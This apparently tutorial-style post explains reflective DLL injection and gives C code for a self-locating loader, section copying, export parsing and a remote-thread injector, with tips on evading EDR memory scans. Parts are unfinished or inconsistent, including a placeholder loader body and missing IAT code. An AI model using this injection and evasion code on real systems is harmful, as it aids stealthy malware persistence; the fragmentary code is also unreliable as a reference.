Reflective DLL injection allows an attacker to inject a DLL into a victim process entirely from memory rather than disk. First utilized by Stephen Fewer.
Reflective DLL's are inherently different than traditional DLLs. In the sense that they are specifically crafted to be executed reflectively. I.E executing themselves.
In general, reflective DLL injection is typically used as a persistence mechanism after initial access has been achieved through other means like malicious Office macros or executable files.
Instead of writing the malicious DLL to disk, which could trigger security alerts, reflective DLL injection loads the DLL directly into memory of a legitimate process, making it harder to detect by traditional security measures.
Most EDR's have updated their capabilities to detect this default process injection technique utilized by Stephen Fewer along with his Remote Process Execution technique using the CreateRemoteThread API.
EDR's also scan newly created Executable memory blocks in remote processes that have PAGE_EXECUTE_READWRITE permissions. A way around this is to parse the PE headers and distribute the sections of PE to different locations.
NOTE: Also, it's important to note that changing Stephen Fewer's default reflective loader page permissions to PAGE_EXECUTE_READ to try to evade EDR will end in an ACCESS_VIOLATION error. This is because there are several different sections in the PE that have their own permissions (which we cover above).
Reflective DLL Injection
A reflective DLL exports a special function to inject itself when it's called. This function cannot include WinAPI functions or global variables as they rely on offsets set by the compiler which become invalid.
(CustomGetModuleHandleandGetProcAddressfunctions are required to resolve WinAPIs used in theReflectiveFunctionfunction. Make sure to include string hashing.)
Building Reflective DLL
Here are the steps needed to build a reflective dll.
Open target process with RWX permissions and allocate memory large enough for the DLL.
Copy the DLL into the allocated memory space.
Calculate the memory offset within the DLL to the export used for doing reflective loading.
Call CreateRemoteThread (or an equivalent undocumented API function like RtlCreateUserThread) to start execution in the remote process, using the offset address of the reflective loader function as the entry point.
The reflective loader function finds the Process Environment Block (PEB) of the target process using the appropriate CPU register, and uses that to find the address in memory of kernel32.dll and any other required libraries.
Parse the exports directory of kernel32 to find the memory addresses of required API functions such as LoadLibraryA, GetProcAddress, and VirtualAlloc.
Use these functions to then properly load the DLL (itself) into memory and call its entry point, DllMain.
Makefile
If developing on linux, it's crucial we compile the DLL correctly.
The bread and butter of reflective DLL injection lies in the reflective loader function inside the DLL. This is responsible for patching IAT, fixing relocations, and executing the DLL's entrypoint.
// Create Exported caller function. Will be brute-forced by Inject.exe
__declspec(dllexport) VOID ReflectiveFunction() {
// Sauce goes here :)
}
This is the function we will call in inject.exe once the DLL is loaded.
Brute forcing DLL Base address (from dll)
One thing I think is very interesting about the Special Reflective Function is the use of bruteforcing the DLL's base address from within the DLL.
Below we get a pointer to ReflectiveFunction (from within ReflectiveFunction!!) and traverse back until we get a valid DOS header (signifying the base address of the DLL image). This is whatreflective programmingis.
Once we have the base address of the DLL, we can proceed to path IAT & Relocations.
extern __declspec(dllexport) BOOL ReflectiveFunction() {
// Brute forcing ReflectiveDllLdr.dll's base address, starting at ReflectiveFunction's address
uTmpAddress = (ULONG_PTR)ReflectiveFunction;
do
{
pImgDosHdr = (PIMAGE_DOS_HEADER)uTmpAddress;
// Check if the current uTmpAddress is a DOS header
if (pImgDosHdr->e_magic == IMAGE_DOS_SIGNATURE)
{
// To terminate false positives - we do another check by retrieving the NT header and checking its signature as well
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uTmpAddress + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature == IMAGE_NT_SIGNATURE) {
// If valid, the current uTmpAddress is ReflectiveDllLdr.dll's base address
uReflectiveDllModule = uTmpAddress;
break;
}
}
// Keep decrementing to reach the DLL's base address
uTmpAddress--;
} while (TRUE);
}
Allocate Memory and copy bytecode
Now we will allocate memory for the PE's bytecode. This can be done with a custom VirtualAlloc or NtAllocateVirtualMemory.
// Allocating memory for the PE
if ((pPeBaseAddress = pVirtualAlloc(NULL, PeHdrs.pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
return FALSE;
}
// Copying PE sections
for (int i = 0; i < PeHdrs.pImgNtHdrs->FileHeader.NumberOfSections; i++) {
memcpy(
(PVOID)(pPeBaseAddress + PeHdrs.pImgSecHdr[i].VirtualAddress),
(PVOID)(uReflectiveDllModule + PeHdrs.pImgSecHdr[i].PointerToRawData),
PeHdrs.pImgSecHdr[i].SizeOfRawData
);
}
Patching Import Address Table (IAT)
Now that we have the base address of the DLL (see above) we can patch the IAT.
For reflective DLL injection we load the dll into a buffer, parse the exports for the "Special Reflective Loader" function address, and create a new thread. Opposed to the traditional LoadLibraryW.
Here are the steps:
Load dll file into buffer
Open process handle
Parse export data directory for "Special Reflective Loader" offset.
Write dll buffer to external process.
Calculate external process base address buffer with the reflective function offset.
Create a new thread at reflective function address.
// Given an RVA, calculate it's offset by iterating through PE sections.
DWORD RVA2Offset(IN DWORD dwRVA, IN ULONG_PTR pBaseAddress) {
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_SECTION_HEADER pImgSectionHdr = NULL;
pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBaseAddress + ((PIMAGE_DOS_HEADER)pBaseAddress)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return 0x00;
pImgSectionHdr = (PIMAGE_SECTION_HEADER)((PBYTE)&pImgNtHdrs->OptionalHeader + pImgNtHdrs->FileHeader.SizeOfOptionalHeader);
// Iterates through the PE sections
for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++){
// If the RVA is located inside the "i" PE section
if (dwRVA >= pImgSectionHdr[i].VirtualAddress && dwRVA < (pImgSectionHdr[i].VirtualAddress + pImgSectionHdr[i].Misc.VirtualSize))
// Calculate the delta and add it to the raw pointer
return (dwRVA - pImgSectionHdr[i].VirtualAddress) + pImgSectionHdr[i].PointerToRawData;
}
printf("\t[!] Cound'nt Convert The 0x%0.8X RVA to File Offset! \n", dwRVA);
return 0x00;
}
// Gets the Special Reflective function offset.
// Offset is used when we are calculating the address in memory allocated w/ VirtualAlloc. (InjectAndRunDll)
DWORD GetReflectiveFunctionOffset(IN ULONG_PTR uRflDllBuffer) {
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_EXPORT_DIRECTORY pImgExportDir = NULL;
PDWORD pdwFunctionNameArray = NULL;
PDWORD pdwFunctionAddressArray = NULL;
PWORD pwFunctionOrdinalArray = NULL;
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uRflDllBuffer + ((PIMAGE_DOS_HEADER)uRflDllBuffer)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return 0x00;
pImgExportDir = ( PIMAGE_EXPORT_DIRECTORY ) (uRflDllBuffer + RVA2Offset(pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, uRflDllBuffer));
pdwFunctionNameArray = ( PDWORD ) (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfNames, uRflDllBuffer));
pdwFunctionAddressArray = ( PDWORD ) (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfFunctions, uRflDllBuffer));
pwFunctionOrdinalArray = ( PWORD ) (uRflDllBuffer + RVA2Offset(pImgExportDir->AddressOfNameOrdinals, uRflDllBuffer));
for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++){
PCHAR pcFunctionName = (PCHAR)(uRflDllBuffer + RVA2Offset(pdwFunctionNameArray[i], uRflDllBuffer));
if (strcmp(pcFunctionName, EXPORTED_FUNC_NAME) == 0)
return RVA2Offset(pdwFunctionAddressArray[pwFunctionOrdinalArray[i]], uRflDllBuffer);
}
printf("\t[!] Cound'nt Resolve %s's Offset! \n", EXPORTED_FUNC_NAME);
return 0x00;
}
// Takes in buffer, dllsize, and ReflectiveFunction address.
// Allocates memory, sets permissions, writes memory to remote process, and executes thread
BOOL InjectAndRunDll(IN HANDLE hProcess, IN DWORD dwRflFuncOffset, IN PBYTE pRflDllBuffer, IN DWORD dwRflDllSize) {
PBYTE pAddress = NULL;
SIZE_T sNumberOfBytesWritten = 0;
HANDLE hThread = NULL;
DWORD dwThreadId = 0x00;
if (!(pAddress = VirtualAllocEx(hProcess, NULL, dwRflDllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ))) {
printf("\t[!] VirtualAllocEx Failed With Error: %d \n", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(hProcess, pAddress, pRflDllBuffer, dwRflDllSize, &sNumberOfBytesWritten) || dwRflDllSize != sNumberOfBytesWritten) {
printf("\t[!] WriteProcessMemory Failed With Error: %d \n", GetLastError());
return FALSE;
}
if (!(hThread = CreateRemoteThread(hProcess, NULL, 0x00, (LPTHREAD_START_ROUTINE)(pAddress + dwRflFuncOffset), NULL, 0x00, &dwThreadId))) {
printf("\t[!] CreateRemoteThread Failed With Error: %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int main() {
/* Read dll into buffer (not putting that here)*/
// Parse PE Headers
DWORD dwReflectiveFunctionsOffset = GetReflectiveFunctionOffset((UINT_PTR)lpDllBuffer);
HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, GetCurrentProcessId() );
if (!InjectAndRunDll(hProcess, dwReflectiveFunctionsOffset, lpDllBuffer, dwFileSize)) {
wprintf(L"[!] InjectAndRunDll Failed");
return -1;
}
}